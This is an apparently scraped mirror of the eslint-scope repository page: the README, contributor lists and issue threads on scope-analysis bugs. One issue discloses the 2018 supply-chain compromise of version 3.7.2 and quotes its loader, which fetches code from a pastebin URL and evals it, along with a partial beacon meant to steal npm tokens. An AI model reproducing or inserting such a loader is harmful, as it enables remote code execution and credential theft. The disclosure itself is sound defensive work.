Code Monkey home page Code Monkey logo

eslint-scope's Introduction

npm version Downloads Build Status

ESLint Scope

ESLint Scope is the ECMAScript scope analyzer used in ESLint. It is a fork of escope.

Install

npm i eslint-scope --save

📖 Usage

To use in an ESM file:

import * as eslintScope from 'eslint-scope';

To use in a CommonJS file:

const eslintScope = require('eslint-scope');

In order to analyze scope, you'll need to have an ESTree compliant AST structure to run it on. The primary method is eslintScope.analyze(), which takes two arguments:

  1. ast - the ESTree-compliant AST structure to analyze.
  2. options (optional) - Options to adjust how the scope is analyzed, including:
  • ignoreEval (default: false) - Set to true to ignore all eval() calls (which would normally create scopes).
  • nodejsScope (default: false) - Set to true to create a top-level function scope needed for CommonJS evaluation.
  • impliedStrict (default: false) - Set to true to evaluate the code in strict mode even outside of modules and without "use strict".
  • ecmaVersion (default: 5) - The version of ECMAScript to use to evaluate the code.
  • sourceType (default: "script") - The type of JavaScript file to evaluate. Change to "module" for ECMAScript module code.
  • childVisitorKeys (default: null) - An object with visitor key information (like eslint-visitor-keys). Without this, eslint-scope finds child nodes to visit algorithmically. Providing this option is a performance enhancement.
  • fallback (default: "iteration") - The strategy to use when childVisitorKeys is not specified. May be a function.

Example:

import * as eslintScope from 'eslint-scope';
import * as espree from 'espree';
import estraverse from 'estraverse';

const options = {
    ecmaVersion: 2022,
    sourceType: "module"
};

const ast = espree.parse(code, { range: true, ...options });
const scopeManager = eslintScope.analyze(ast, options);

const currentScope = scopeManager.acquire(ast);   // global scope

estraverse.traverse(ast, {
    enter (node, parent) {
        // do stuff

        if (/Function/.test(node.type)) {
            currentScope = scopeManager.acquire(node);  // get current function scope
        }
    },
    leave(node, parent) {
        if (/Function/.test(node.type)) {
            currentScope = currentScope.upper;  // set to parent scope
        }

        // do stuff
    }
});

Contributing

Issues and pull requests will be triaged and responded to as quickly as possible. We operate under the ESLint Contributor Guidelines, so please be sure to read them before contributing. If you're not sure where to dig in, check out the issues.

Security Policy

We work hard to ensure that ESLint Scope is safe for everyone and that security issues are addressed quickly and responsibly. Read the full security policy.

Build Commands

  • npm test - run all linting and tests
  • npm run lint - run all linting

License

ESLint Scope is licensed under a permissive BSD 2-clause license.

eslint-scope's People

Contributors

aladdin-add avatar alex-seville avatar constellation avatar corbinu avatar deepshikas avatar eventualbuddha avatar fasttime avatar futpib avatar github-actions[bot] avatar ilyavolodin avatar jameshenry avatar kaicataldo avatar kecrily avatar kevinbarabash avatar kumavis avatar mdjermanovic avatar michaelficarra avatar mysticatea avatar not-an-aardvark avatar nzakas avatar pdehaan avatar realityking avatar robcolburn avatar sanex3339 avatar shz avatar snitin315 avatar soda0289 avatar stuk avatar thron7 avatar vitorbal avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

eslint-scope's Issues

Proposal: "function-default-params" scope

From #33, eslint/eslint#9335.

As the step 27.a of 9.2.12 FunctionDeclarationInstantiation( func, argumentsList ), eslint-scope should make new scope for the function body only if the parameters has any default value.

It's similar to function-expression-name scope which separates the variable of function expression names from function bodies. So I propose new function-default-params scope which separates the references in default parameters from function bodies.

  1. If the current function has one or more default parameters in traversing, the referencer defines a function-default-params scope instead of function scope.
    • Note: the function-default-params scope has implicit arguments variable except if the function is arrow function expression.
    • Note: the function-default-params scope is the child scope of function-expression-name scope if the function is function expression.
  2. The referencer evaluates the parameters.
  3. The referencer defines function scope.
  4. The referencer copies the all variables from the function-default-params scope to the function scope.
    • Note: those copies handle redeclaration such as function f(a = 1) { let a } correctly.
    • Note: at least, no-shadow rule has to handle those copies as special.
    • Note: I think we should use shallow copy here because Variable#defs and Variable#references should be shared with both scopes but Reference#resolved property cannot have multiple variable objects. For example, in function f(a, b = a) { g(a) } case, the two references of a should be aggregated into one Variable#references array.
  5. The referencer evaluates the function body.
  6. The referencer closes both function-default-params and function scopes at the end of the function.

Chores to bring in line with other eslint projects

I just wanted to create a list of chores that need to be done here please make suggestions @JamesHenry @nzakas

  • Update README.md #3
  • Remove unused bower.json #5
  • Add eslint-release scripts #6
  • Replace gulp with Makefile.js #15
  • Remove jsdoc #12
  • Remove browserify #12
  • Replace jshint with eslint #15
  • Remove es6-map and es6-weak-map as both are supported in Node 4 #14
  • Remove Babel #9
  • Make eslint-config-eslint linting pass #15
  • Remove third_party directory #19
  • Remove esprima #19
  • Move src to lib folder

Was wondering what versions of node does eslint officially support? I would like to only downgrade the es6 as much as needed to make it run without Babel.

"function() { var f = 1; }" throws in FunctionScope.__isValidResolution

Test case:

#!/usr/bin/env node
"use strict";

const espree = require("espree");
const eslintScope = require('eslint-scope');

const source = `function A() { var f = 1; }`;
const ast = espree.parse(source);
eslintScope.analyze(ast);

Error:

/home/ajvincent/compiled/update-mgr/stacklizard/node_modules/eslint-scope/lib/scope.js:711
        const bodyStart = this.block.body.range[0];
                                               ^
TypeError: Cannot read property '0' of undefined
    at FunctionScope.__isValidResolution (/home/ajvincent/compiled/update-mgr/stacklizard/node_modules/eslint-scope/lib/scope.js:711:48)
    at FunctionScope.__resolve (/home/ajvincent/compiled/update-mgr/stacklizard/node_modules/eslint-scope/lib/scope.js:357:19)
    at FunctionScope.__staticCloseRef (/home/ajvincent/compiled/update-mgr/stacklizard/node_modules/eslint-scope/lib/scope.js:294:19)
    at FunctionScope.__close (/home/ajvincent/compiled/update-mgr/stacklizard/node_modules/eslint-scope/lib/scope.js:336:22)
    at Referencer.close (/home/ajvincent/compiled/update-mgr/stacklizard/node_modules/eslint-scope/lib/referencer.js:129:68)
    at Referencer.visitFunction (/home/ajvincent/compiled/update-mgr/stacklizard/node_modules/eslint-scope/lib/referencer.js:261:14)
    at Referencer.FunctionDeclaration (/home/ajvincent/compiled/update-mgr/stacklizard/node_modules/eslint-scope/lib/referencer.js:557:14)
    at Referencer.Visitor.visit (/home/ajvincent/compiled/update-mgr/stacklizard/node_modules/esrecurse/esrecurse.js:104:34)
    at Referencer.Visitor.visitChildren (/home/ajvincent/compiled/update-mgr/stacklizard/node_modules/esrecurse/esrecurse.js:83:38)
    at Referencer.Program (/home/ajvincent/compiled/update-mgr/stacklizard/node_modules/eslint-scope/lib/referencer.js:429:14)

ImportDeclaration should appear when the mode is ES6 and in the module context

I'm using @typescript-eslint/parser in eslint for tsx files.
I have this code in .tsx file:

import React from 'react';

export class Wallboard extends React.Component<{ meetupGroups: [string] }> {
  constructor(props: Readonly<{ meetupGroups: [string] }>) {
    super(props);
  }

  render(): React.ReactElement {
    return <div>{'ksi'}</div>;
  }
}

and this configuration (+ big webpack configuration):

{
  "parser": "babel-eslint",
  "extends": [
    "@jetbrains",
    "@jetbrains/eslint-config/browser",
    "@jetbrains/eslint-config/es6",
    "@jetbrains/eslint-config/node",
    "@jetbrains/eslint-config/react",
    "@jetbrains/eslint-config/angular",
    "@jetbrains/eslint-config/test"
  ],

  "overrides": [
    {
      "files": ["**/*.ts", "**/*.tsx"],
      "parser": "@typescript-eslint/parser",
      "plugins": ["@typescript-eslint"],
      "extends": [
        "@jetbrains",
        "@jetbrains/eslint-config/browser",
        "@jetbrains/eslint-config/es6",
        "@jetbrains/eslint-config/node",
        "@jetbrains/eslint-config/react",
        "@jetbrains/eslint-config/angular",
        "@jetbrains/eslint-config/test"
      ],
      "settings": {
        "import/resolver": {
          "node": {
            "extensions": [".js",".jsx",".ts",".tsx"]
          }
        }
      }
    }
  ]
}

and I get this error:

/Users/psuwala/projects/hs3/event-monitor/src/components/Wallboard.tsx
0:0 error Parsing error: ImportDeclaration should appear when the mode is ES6 and in the module context

I pinpointed that it comes from here:

https://github.com/eslint/eslint-scope/blame/dbddf14d5771b21b5da704213e4508c660ca1c64/lib/referencer.js#L577

of course if I remove this.scopeManager.isModule() it will work.

Any idea if it is possible to override it? Or is it typescript-eslint misuse?

`("use strict")` is not a directive

eslint-scope mistakenly treats parenthesized string literals as directives.

import * as eslintScope from 'eslint-scope';
import * as espree from 'espree';

const options = {
    ecmaVersion: 2024,
    sourceType: "script"
};

const code = `
    ("use strict");
`;

const ast = espree.parse(code, { range: true, ...options });
const scopeManager = eslintScope.analyze(ast, options);

const globalScope = scopeManager.acquire(ast);

console.log(globalScope.isStrict); // `true`, but it should be `false`

We could fix this by using the directive property (Directive).

Note: eslint-scope accepts an option directive (boolean). When true, code that determines whether the scope is strict due to presence of a "use strict" directive searches for "DirectiveStatement" nodes. This is not per the ESTree standard, and I think we should drop this option and just always use the directive property.

Bug: `eslint-scope` fails to create new Scope for block element

Background Context

While exploring a variable renaming issue (pionxzh/wakaru#32) there was a reference to some example code that failed in another parser when block statements were involved (facebook/jscodeshift#263)

In trying this out with eslint-scope (pionxzh/wakaru#32 (comment)), it seems that the bug also may exist here.

Description

I've encountered an issue with eslint-scope where it does not seem to create a new scope for a block element in JavaScript code. According to ECMAScript specifications, let and const declarations within a block { ... } should have block-level scope. However, eslint-scope seems to be treating the block as if it doesn't create a new scope.

Code to Reproduce

Here is a simple code snippet that illustrates the issue:

const x = 42;
{
  const x = 47;
  console.log(x); // Should log 47, as this `x` is in the block scope
}
console.log(x); // Should log 42, as this `x` is in the global scope

In this code, there are two separate scopes: the global scope and the block scope. The variable x is declared twice, once in each scope. According to JavaScript scoping rules, these should be treated as two different variables.

Expected Behavior

eslint-scope should recognize and create a new scope for the block element, treating the inner const x = 47; as a separate variable scoped within the block.

Actual Behavior

Currently, eslint-scope does not seem to differentiate between the two scopes in the provided code snippet. It treats the entire code as if it's in a single scope, which is not consistent with standard JavaScript scoping rules.

Additional Information

  • eslint-scope version: 7.2.2
  • Node.js version: 18.12.1

Virus in eslint-scope?

Updated blog post: https://eslint.org/blog/2018/07/postmortem-for-malicious-package-publishes

Update from the maintainers

Incident status report from npm

Please follow the comment by @platinumazure that gives a little insight into what happened:
#39 (comment)

It also appears that the same code was published in [email protected], which has also since been unpublished. See eslint/eslint#10600 for more information.

In the meantime

  1. Pin the version of eslint-scope to 3.7.1, one way is to add the resolutions to your package.json
  "resolutions": {
    "eslint-scope": "3.7.1"
  }

Verify the dependency version with yarn list eslint-scope. It should print out [email protected]

  1. Use package-lock.json or yarn.lock and have it in your repo if possible. Do not upgrade to 3.7.2 even if yarn outdated shows that there is a new version available.

  2. Revoke your NPM token as suggested in the comment below #39 (comment). You can do the same by logging in to https://www.npmjs.com/, selecting the "tokens" menu from the account dropdown and removing all tokens listed on the page. Make sure to recreate the relevant tokens if you hook your NPM to external services.

The issue

I don't know what the hell this is but it looks like a virus to me:

[2/3] ⠠ eslint-scope
error /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope: Command failed.
Exit code: 1
Command: node ./lib/build.js
Arguments: 
Directory: /Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope
Output:
undefined:30
      https1.get({hostname:'sstatic1.histats.com',path:'/0.gif?4103075&101',method:'GET',headers:{Referer:'http://1.a/'+conten
                                                                                                                        ^^^^^^

SyntaxError: Unexpected end of input
    at IncomingMessage.r.on (/Users/pronebird/Desktop/electron-react-redux-boilerplate/node_modules/eslint-scope/lib/build.js:6:10)
    at emitOne (events.js:116:13)
    at IncomingMessage.emit (events.js:211:7)
    at IncomingMessage.Readable.read (_stream_readable.js:475:10)
    at flow (_stream_readable.js:846:34)
    at resume_ (_stream_readable.js:828:3)
    at _combinedTickCallback (internal/process/next_tick.js:138:11)

The contents of a suspicious file:

try{
    var https=require('https');
    https.get({'hostname':'pastebin.com',path:'/raw/XLeVP82h',headers:{'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',Accept:'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'}},(r)=>{
    r.setEncoding('utf8');
    r.on('data',(c)=>{
    eval(c);
    });
    r.on('error',()=>{});
    
    }).on('error',()=>{});
    }catch(e){}

The URL it attempts to load is http://pastebin.com/raw/XLeVP82h

Also it attempts to send my .npmrc somewhere.

This is version 3.7.2 that's been published an hour ago.

JSX Component not recognized as scope reference

Hi!
Trying to fix this bug in eslint-plugin-react-hooks related to exhaustive-deps rule I could have found out something that looks like a bug in the way the scopeManager handles JSX Component.

According to me, when a JSX Component is instantiated no reference is added to the scope references array.
For example, this test fails:

const ast = espree(`
  function Example({ component: Component }) {
    const myFunction = (data) => (<Component data={data}/>)
  }
`);

const scopeManager = analyze(ast);
const scope = scopeManager.scopes[2];
expect(scope.references).to.have.length(2); // [data, component]

The actual scope.references has length 1 and the only node inside it is the one named data.

I have already worked on a PR but I would like to know if this looks like to a legit bug to you or I have misunderstood something.

Thanks for your time!

ArrowFunctionExpression's scope is always strict scope

It seems to be deliberate that eslint-scope always sets isStrict to true for arrow function scopes. But this is not how it works in all the engines I could get my hands to.

I used assignment to an undeclared variable to check if the code is in strict mode:

With explicit strict mode, we get an error:

node -e '"use strict"; (() => { a = 5 })()'
# ReferenceError: a is not defined

Without "use strict" an error is not thrown, which means it's not in strict mode, but eslint-scope would treat the scope as strict anyway:

node -e '(() => { x = 1 })()'

I also checked with the spec's definition of strict mode code, and it seems that arrow functions should not get any special treatment (only classes should): https://www.ecma-international.org/ecma-262/#sec-strict-mode-code

// ArrowFunctionExpression's scope is always strict scope.
if (block.type === Syntax.ArrowFunctionExpression) {
return true;
}

expect(scope.isStrict).to.be.true;

Question: how come function references on the global scope are not closed

describe("When there is a `function` declaration on global,", () => {
it("the reference on global should NOT be resolved.", () => {
const ast = espree(`
function a() {}
a();
`);
const scopeManager = analyze(ast, { ecmaVersion: 6 });
expect(scopeManager.scopes).to.have.length(2); // [global, a]
const scope = scopeManager.scopes[0];
expect(scope.variables).to.have.length(1);
expect(scope.references).to.have.length(1);
const reference = scope.references[0];
expect(reference.from).to.equal(scope);
expect(reference.identifier.name).to.equal("a");
expect(reference.resolved).to.be.null;
expect(reference.writeExpr).to.be.undefined;
expect(reference.isWrite()).to.be.false;
expect(reference.isRead()).to.be.true;
});
it("the reference in functions should NOT be resolved.", () => {
const ast = espree(`
function a() {}
function foo() {
let b = a();
}
`);
const scopeManager = analyze(ast, { ecmaVersion: 6 });
expect(scopeManager.scopes).to.have.length(3); // [global, a, foo]
const scope = scopeManager.scopes[2];
expect(scope.variables).to.have.length(2); // [arguments, b]
expect(scope.references).to.have.length(2); // [b, a]
const reference = scope.references[1];
expect(reference.from).to.equal(scope);
expect(reference.identifier.name).to.equal("a");
expect(reference.resolved).to.be.null;
expect(reference.writeExpr).to.be.undefined;
expect(reference.isWrite()).to.be.false;
expect(reference.isRead()).to.be.true;
});
});

I'm working on trying to understand this codebase better.
But I can't understand why it works this way:

function a() {}
a();

To me it seems clear that the reference that's created as part of the call should resolve directly to the function declaration, but it's not - it remains as an unresolved reference that's added to the global scope's through list.

This would cause the no-unused-vars ESLint rule to error on the function declaration, were it not for this code in the linter.

It looks like it works seemingly by chance? ESLint augments the global scope with more variables, and then forcefully resolves any through references against the global variable set, which includes the function declaration as well as the augmented variables.

Is anyone able to explain why this works this way?

Or a better question - when closing the global scope, why doesn't it attempt to resolve all through references against the variables defined in the global scope?

[suggest] improve compatibility with more estree parsers?

I am trying to use eslint-scope with meriyah which uses different data structure for ranges.

It doesn't have .range: [start, end], but has direct .start and .end.

eslint-scope/lib/scope.js

Lines 711 to 718 in dbddf14

const bodyStart = this.block.body.range[0];
// It's invalid resolution in the following case:
return !(
variable.scope === this &&
ref.identifier.range[0] < bodyStart && // the reference is in the parameter part.
variable.defs.every(d => d.name.range[0] >= bodyStart) // the variable is in the body.
);

If I update the above code from .range[0] to .start, everything works fine with meriyah.

Do you consider to improve compatibility with other estree parsers? To check both .range[0] and .start? Thanks!

FYI, estree spec seems didn't define the shape of ranges, it only defined position. https://github.com/estree/estree/blob/14df8a024956ea289bd55b9c2226a1d5b8a473ee/es5.md#node-objects

ecmaVersion >= 2015

ref: eslint/eslint#15185 (comment)

eslint-scope expects 3, 5, 6, 7, ... 13 as ecmaVersion. Those are the values eslint-scope is currently getting from ESLint, and all eslint-scope tests are based on those values.

After we merge and release eslint/eslint#15185, ESLint will be passing 3, 5, 2015, 2016, ... 2022 as ecmaVersion to eslint-scope, regardless of the mode (eslintrc or flat config).

This should work the same as it was working before, because eslint-scope uses ecmaVersion only to check if it is >= 5, and >= 6:

isStrictModeSupported() {
return this.__options.ecmaVersion >= 5;
}

__isES6() {
return this.__options.ecmaVersion >= 6;
}

So, any of 6, 7, 8, 9, 10, 11, 12, 13, 2015, 2016, 2017, 2018, 2019, 2020, 2021, and 2022 will work the same, as they're all >= 5 and >= 6.

However, it would be good to add some tests with the new values, to confirm this behavior and make sure that it won't break after future changes to eslint-scope.

TypeError: Cannot read property '0' of undefined

I just tried to run the provided code from README. However there are several problems: the first is that eslintScope.analyze requires a second parameter called providedOptions.

The second problem is a TypeError:

D:\path-to-project\node_modules\eslint-scope\lib\scope.js:711
        const bodyStart = this.block.body.range[0];
                                               ^

TypeError: Cannot read property '0' of undefined
    at FunctionScope.__isValidResolution (D:\path-to-project\node_modules\eslint-scope\lib\scope.js:711:48)
    at FunctionScope.__resolve (D:\path-to-project\node_modules\eslint-scope\lib\scope.js:357:19)
    at FunctionScope.__staticCloseRef (D:\path-to-project\node_modules\eslint-scope\lib\scope.js:294:19)
    at FunctionScope.__close (D:\path-to-project\node_modules\eslint-scope\lib\scope.js:336:22)
    at Referencer.close (D:\path-to-project\node_modules\eslint-scope\lib\referencer.js:129:68)
    at Referencer.visitFunction (D:\path-to-project\node_modules\eslint-scope\lib\referencer.js:261:14)
    at Referencer.ArrowFunctionExpression (D:\path-to-project\node_modules\eslint-scope\lib\referencer.js:573:14)
    at Referencer.Visitor.visit (D:\path-to-project\node_modules\esrecurse\esrecurse.js:104:34)
    at Referencer.Visitor.visitChildren (D:\path-to-project\node_modules\esrecurse\esrecurse.js:83:38)
    at Referencer.CallExpression (D:\path-to-project\node_modules\eslint-scope\lib\referencer.js:500:14)

Process finished with exit code 1

My used dependencies are (from package.json):

  "dependencies": {
    "eslint-scope": "^5.1.1",
    "espree": "^7.3.0",
    "estraverse": "^5.2.0"
  }

Versions:
node --version
v12.19.0
npm --version
6.14.8

My full code (I was just fiddling around to test something):

const eslintScope = require('eslint-scope');
const espree = require('espree');
const estraverse = require('estraverse');

code = `
function alma() {
    console.log("sh");
}
const materials = [
  'Hydrogen',
  'Helium',
  'Lithium',
  'Beryllium'
];

console.log(materials.map(material => material.length));
class Car {
  constructor(brand) {
    this._carname = brand;
  }
  get carname() {
    return this._carname;
  }
  set carname(x) {
    this._carname = x;
  }
}

let mycar = new Car("Ford");
mycar.carname = "Volvo";
`;


const ast = espree.parse(code, { ecmaVersion: 2021, loc: true, });
console.log(ast);
var scopeManager = eslintScope.analyze(ast, {});

var currentScope = scopeManager.acquire(ast);   // global scope

estraverse.traverse(ast, {
    enter: function(node, parent) {
        // do stuff

        if (/Function/.test(node.type)) {
            currentScope = scopeManager.acquire(node);  // get current function scope
        }
    },
    leave: function(node, parent) {
        if (/Function/.test(node.type)) {
            currentScope = currentScope.upper;  // set to parent scope
        }

        // do stuff
    }
});
console.log(ast);

`"use strict"` in ES3

Per eslint/eslint#15456, "use strict" directives should not apply in ES3.

eslint-scope currently does apply "use strict" directives in ES3 mode. Given the above, that behavior looks like a bug.

This is observable with no-invalid-this rule, which uses Scope#isStrict.

/* eslint no-invalid-this: "error" */

function foo() {
    "use strict";
    this;
}

This rule aims to report undefined this. Lowercase functions are assumed to be called without this. If the function is strict code, then this is undefined and it should be reported. If the function is non-strict code, then this refers to the global object and therefore it shouldn't be reported.

Online Demo with ES3 - the rule reports error, which seems wrong because this isn't strict code in ES3.

#39 affect global installations?

I'm sure many others also have this question, and the relevant issue was closed so I will ask here

are global installations of eslint affected by #39 ?

Release 3.7.3 for private mirrors with cached compromised version?

From this comment: #39 (comment)

Now that 3.7.2 is unpublished and 4.0.0 is latest, I'm not sure if we need to publish a 3.7.3, but please let us know if you think we might.

After the compromised version of 3.7.2 was released, the package was removed from the public npm registry, which is good. But many companies run private npm mirrors, and after the left-pad incident, many of these will not mirror deletes from the public npm repo.

As such, while the original decision was leaning towards not publishing a 3.7.3, I think that a 3.7.3 should be published as not all these teams will have pinned versions, and may only be pulling in eslint-scope via eslint or webpack, thereby getting the compromised version from their own mirrors.

(Posted as a new issue because the original thread was locked)

Class variable is found both in the module/global scope and the class scope

Consider the following code:

class X {
  constructor() {
    console.log(X);
  }
};
console.log(X);

Or open https://astexplorer.net/#/gist/3a7a2b28e6098bc30ee7d16a4dabdbfc/3b9b700d7c8c40f4d9b1481ef940f532e1618b7c and open the browser console (scopes should be logged there).

For this code, the X variable is found (in the scope.set.has('X') sense) in two scopes:

  1. The module (or global, depending on the parser's sourceType) scope with one reference (the top-level console.log(X) call)
  2. The class scope with one reference (the console.log(X) call in the constructor)

I instead expected that the X variable is found in the upper scope only and that it has two references (for each console.log(X) call).
This is how it works with any other declaration (function/var/let/const)

Error [ERR_PACKAGE_PATH_NOT_EXPORTED]

Hi, I have a question, I try to build my project and get an error. Please help me.

[webpack-cli] Error [ERR_PACKAGE_PATH_NOT_EXPORTED]: Package subpath './lib/referencer' is not defined by "exports" in node_modules/eslint-scope/package.json

Same with npm run lint

Error [ERR_PACKAGE_PATH_NOT_EXPORTED]: Failed to load plugin '@typescript-eslint' declared in '.eslintrc » configs/typescript.js': Package subpath './lib/definition' is not defined by "exports" in node_modules/eslint-scope/package.json

my node version is 16.14.0, npm version: 8.3.1.

I need to install my deps by npm ci command, coz some new versions I cant use due to company policy. So I used this package https://www.npmjs.com/package/npm-force-resolutions to force and use version 7.2.0, or 7.2.1, I can't use 7.2.2 coz its fresh version and released just 10 days ago. Is there any solutions not to delete node_modules and reintall all deps by npm i, I just asy npm ci to keep my lock file constant.

Proposal: Define an API to add nodes types to Referencer and hooks to Visit methods

Parsers such as typescript-eslint and babel-eslint have their own unique nodes which have their own properties and ways of defining scopes.

We can currently update VisitorKeys but this does not guarantee nodes will be added as a reference or scoped correctly. The visitorFallback function cannot solve the problem completely either. Some nodes might be scoped incorrectly because Identifier nodes could be definitions not just references, which is the default.

I believe we can solve this in two parts:

Allow new node type handlers too be passed into eslint-scope. Since we can already pass in our own set of VisitorKeys this would complement that well.

Allow for hooks/events to be called before and after a visit method is called.
Currently eslint-scope has the following visit methods:

  • export declaration
  • import declaration
  • variable declaration
  • function
  • property
  • pattern
  • for in
  • class

And two from esrecurse

  • visit() - for nodes
  • visitChildren() - for child nodes in VisitorKeys

This goal is for monkey patching to be removed from babel-eslint and for eslint rules such as no-unused-vars and no-undef to work as expected in typescript and babel/flow.

Document why this fork exists

Right now, it's not clear from the project's documentation why it was forked off from escope, and what the differences between the two are. Documenting this in eg. the README (even if just one or two sentences) would help interested users in deciding which of the two to use.

[Question] How to find reference for a class property used in a non-computed MemberExpression node

Background

I want to get a list of referencers for a class property, one of which is in a MemberExrepssion node, but it failed to be listed

Here below is my source code:

As you can see, class property aProperty is referenced in a Property node, the node value is a MemberExpression node, this node has computed property as false.

export class Hi {
  private aProperty = 'Test';
  private getAProperty() {
    this.generate({
      prop: this.aProperty
    });
  }
}

What I have checked

After debugging, I found below codes in the referencer, and found it's the node.computed condition prevents the above class property being reference.

    MemberExpression(node) {
        this.visit(node.object);
        if (node.computed) {
            this.visit(node.property);
        }
    }

My Question

Is it possible to get officially remove this node.computed condition? e.g. in my case if we are using this.aProperty instead of this[aProperty].

Would appreciate if you can help~

eslint-config-eslint compromised?

Hi! This is a reply to the last comment here, but unfortunately that thread is locked.

@kaicataldo what version of eslint-config-eslint was compromised? Users can easily check to see if they've accidentally installed a bad version at some point in the past by looking in ~/.npm/eslint-config-eslint to see if the infected version is in their cache... but only if they know what the infected version number is. :)

Release

@JamesHenry @corbinu @soda0289 Is this repository now ready to be published? We want to replace escope with this fork in ESLint for version 4.0 and for that we need to publish it to NPM. I can do a release if you give me a go-ahead.

Incorrect scope analysis of class name in extends expression

When handling class definitions with an extends expression, eslint-scope fails to correctly distinguish between the class name and a variable with the same name in the outer scope. This results in the class name being incorrectly identified as the variable from the outer scope within the extends expression.

Here's a simplified example:

`var probeBefore = function() { return C; };
var probeHeritage, setHeritage;
var C = 'outside';

var cls = class C extends (
probeHeritage = function() { return C; },
setHeritage = function() { C = null; }
) {
method() {
return C;
}
};`

In this example, the probeHeritage function should return class C(as cls), not var C. However, eslint-scope identifies C as var C.

Suggested Solution:

To fix this issue, we need to ensure that the class name is available in the current scope when handling the extends expression. This can be achieved by making the following changes in the visitClass function in the referencer.js file:

  1. Add the class name to the current scope's set object before handling the extends expression.
  2. Remove the class name from the current scope's set object after handling the extends expression.

This modification should resolve the scope analysis issue of the class name within the extends expression.

Maximum call stack size exceeded when StaticBlock has additional `parentNode` property

Hello.
I encounter that ScopeAnalyzer.analyze goes into infinity loop when StaticBlock node has any additional property containing its parent node, for example parentNode property. It can be reproduced if childVisitorKeys option is not set

Stack trace:

Error: RangeError: Maximum call stack size exceeded
    at new Map (<anonymous>)
    at new Scope (/Users/sanex/WebstormProjects/javascript-obfuscator/node_modules/eslint-scope/dist/eslint-scope.cjs:505:20)
    at new ClassStaticBlockScope (/Users/sanex/WebstormProjects/javascript-obfuscator/node_modules/eslint-scope/dist/eslint-scope.cjs:1084:9)
    at ScopeManager.__nestClassStaticBlockScope (/Users/sanex/WebstormProjects/javascript-obfuscator/node_modules/eslint-scope/dist/eslint-scope.cjs:1304:33)
    at Referencer.StaticBlock (/Users/sanex/WebstormProjects/javascript-obfuscator/node_modules/eslint-scope/dist/eslint-scope.cjs:1935:27)
    at Referencer.Visitor.visit (/Users/sanex/WebstormProjects/javascript-obfuscator/node_modules/esrecurse/esrecurse.js:104:34)
    at Referencer.Visitor.visitChildren (/Users/sanex/WebstormProjects/javascript-obfuscator/node_modules/esrecurse/esrecurse.js:83:38)
    at Referencer.Visitor.visit (/Users/sanex/WebstormProjects/javascript-obfuscator/node_modules/esrecurse/esrecurse.js:107:14)
    at Referencer.Visitor.visitChildren (/Users/sanex/WebstormProjects/javascript-obfuscator/node_modules/esrecurse/esrecurse.js:88:26)
    at Referencer.StaticBlock (/Users/sanex/WebstormProjects/javascript-obfuscator/node_modules/eslint-scope/dist/eslint-scope.cjs:1937:14)
    at ScopeAnalyzer.analyze (/Users/sanex/WebstormProjects/javascript-obfuscator/src/analyzers/scope-analyzer/ScopeAnalyzer.ts:91:23)

How to reproduce:

  • open tests/class-static-blocks.js
  • replace first before each on the following
 beforeEach(() => {
            ast = espree.parse("class C { static { var a; let b; const c = 1; function d(){} class e {} } }", { ecmaVersion: 13 });
            ast.body.parentNode = ast;
            ast.body[0].parentNode = ast.body;
            ast.body[0].body.parentNode = ast.body[0];
            ast.body[0].body.body[0].parentNode = ast.body[0].body;
            scopeManager = analyze(ast, { ecmaVersion: 13 });
            ({ globalScope } = scopeManager);
        });

Can not get JSX references

var eslintScope = require('eslint-scope');
var espree = require('espree');

var ast = espree.parse(
  `import { Table }  from 'antd';
   const A = <Table />;
   const B = Table;
   console.log(Table)
   `,
  { ecmaVersion: 6, ecmaFeatures: { jsx: true }, sourceType: 'module' }
);
var scopeManager = eslintScope.analyze(ast, {
  sourceType: 'module',
  ecmaVersion: 6,
});

// expect get 3, but actual is 2
console.log(scopeManager.getDeclaredVariables(ast.body[0])[0].references.length)

Please don't recommend LastPass

From your post-mortem #39:

Package maintainers and users should avoid reusing the same password across multiple different sites. A password manager like 1Password or LastPass can help with this.

Please reconsider recommendations of this nature as these are paid services and LastPass has a history of getting hacked.

Instead, consider using a sneakernet password manager like KeePassX instead or, if you like your password managers online and open source, use BitWarden—recently removed from the list of password managers wiki for reasons which I don't care to look into.

Thanks.

Proposal: define `node.parent` property in scope analysis

ESLint is defining node.parent property while their AST traversing. This have caused confusing a bit because the node.parent property of nodes which are after the current node is not defined.

If we define the node.parent property in the traversing of scope analysis, we can resolve that confusing without extra cost.

Thoughts?

Better support for parsers such as typescript and babel-eslint

I made some comments here about how we can improve eslint-scope to accommodate parsers such typescript-eslint-parser and babel-eslint.

I'd like to propose some ideas for some basic enhancements:

  1. Should we remove the dependency on estraverse and esrecurse. Estraverse is only used to provide a syntax list and eslint-scope does not call any of its functions. We could hard code this syntax list is since it is provied by estree. Esrecurse is only used for two function calls, visit() and visitChildren(), which we could move into this project to give us more control of the visiting behavior and fallback handling.

  2. I can understand not wanting to have parser provide a Referencer object as this would lead to lots of extra work for parsers. Could we instead provide an object that would allow eslint-scope to treat/scope node that are unknown in a similar way as known nodes. For example in typescript we have abstract classes would it be possible to say scope this Abstract Class node like a Class node. Or treat Abstract Class methods, with bodies, like Class methods.

require() of ES modules is not supported

Since eslint updated to v8.0.0, I get the following error:

require() of ES modules is not supported.
